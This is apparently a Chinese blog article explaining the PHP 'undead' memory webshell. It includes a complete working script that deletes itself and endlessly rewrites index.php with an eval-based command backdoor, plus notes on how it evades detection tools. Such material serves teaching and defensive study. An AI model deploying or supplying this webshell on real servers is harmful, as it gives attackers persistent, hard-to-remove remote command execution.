当前位置: 首页 > news >正文

PHP内存马:不死马

内存马概念

内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码。

不死马剖析

<?phpset_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while (1) {$content = '<?php @eval($_GET["cmd"]);?>';file_put_contents("index.php", $content);usleep(10000);}   
?>
  • set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
  • ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
  • unlink(__FILE__)函数:删除文件(防止文件落地被检测工具查杀)
  • file_put_contents函数:将一个字符串写入该文件中
  • usleep函数:延迟执行当前脚本数微秒,即条件竞争

需要特别注意的是,执行 unlink(__FILE__) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。

http://www.lryc.cn/news/472098.html

相关文章:

  • 【python】OpenCV—Connected Components
  • 【优选算法篇】前缀之序,后缀之章:于数列深处邂逅算法的光与影
  • win10 更新npm 和 node
  • 搜索引擎算法更新对网站优化的影响与应对策略
  • 使用 Q3D 计算芯片引线的 AC 和 DC R 和 L
  • 前端_008_Vite
  • ssm007亚盛汽车配件销售业绩管理统(论文+源码)_kaic
  • 如何使用python完成时间序列的数据分析?
  • 数字ic设计,Windows/Linux系统,其他相关领域,软件安装包(matlab、vivado、modelsim。。。)
  • SD-WAN分布式组网:构建高效、灵活的企业网络架构
  • Task :prepareKotlinBuildScriptModel UP-TO-DATE,编译卡在这里不动或报错
  • unseping攻防世界
  • 大厂面试真题-简单描述一下SpringBoot的启动过程
  • 4. 硬件实现
  • 《操作系统真象还原》第3章 完善MBR【3.1 — 3.2】
  • 八大排序-冒泡排序
  • 基于Spring Boot+Vue的助农销售平台(协同过滤算法、节流算法、支付宝沙盒支付、图形化分析)
  • uniapp写抖音小程序阻止右滑返回上一个页面
  • 华为配置手工负载分担模式链路聚合实验
  • 【Spring】Cookie与Session
  • chat_gpt回答:qt中,常见格式及格式转换
  • CSS兼容处理
  • 制氮机分子筛的材质选择
  • 使用Virtual Audio Cable捕获系统音频输出并使用Python处理
  • 微信小程序scroll-view吸顶css样式化表格的表头及iOS上下滑动表头的颜色覆盖及性能分析
  • HDU-1695 GCD
  • unity游戏开发之赛车游戏
  • 解决milvus migration 迁移数据到出现数据丢失问题
  • Python Flask 数据库开发
  • 深度学习(七)深度强化学习:融合创新的智能之路(7/10)